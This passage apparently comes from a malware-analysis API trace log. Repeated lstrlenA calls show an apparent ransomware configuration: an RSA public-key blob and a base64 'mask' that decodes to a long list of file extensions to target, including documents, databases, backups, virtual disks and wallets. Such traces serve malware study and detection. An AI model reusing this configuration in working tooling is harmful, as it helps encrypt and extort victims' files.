udmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.465] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCA